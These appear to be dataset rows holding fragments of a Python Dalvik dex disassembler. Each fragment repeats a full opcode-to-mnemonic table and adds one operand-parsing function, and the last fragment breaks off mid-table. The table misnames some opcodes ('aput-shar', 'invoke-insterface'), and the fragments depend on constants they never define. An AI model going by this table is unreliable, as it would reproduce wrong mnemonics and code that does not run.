'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT20T(buffer, dex_object, pc_point, offset): v, = struct.unpack_from("h", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "%04x" % (v + offset))
null
17,373
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT21C(buffer, dex_object, pc_point, offset): val = ord(buffer[0]) v, = struct.unpack_from("H", buffer, 2) arg1 = "@%d" % v if val == 0x1a: arg1 = "\"%s\"" % dex_object.getstringbyid(v) elif val in [0x1c, 0x1f, 0x22]: arg1 = "type@%s" % dex_object.gettypename(v) else: arg1 = "field@%s //%s" % (dex_object.getfieldname(v), dex_object.getfieldfullname(v)) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), arg1)
null
17,374
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: 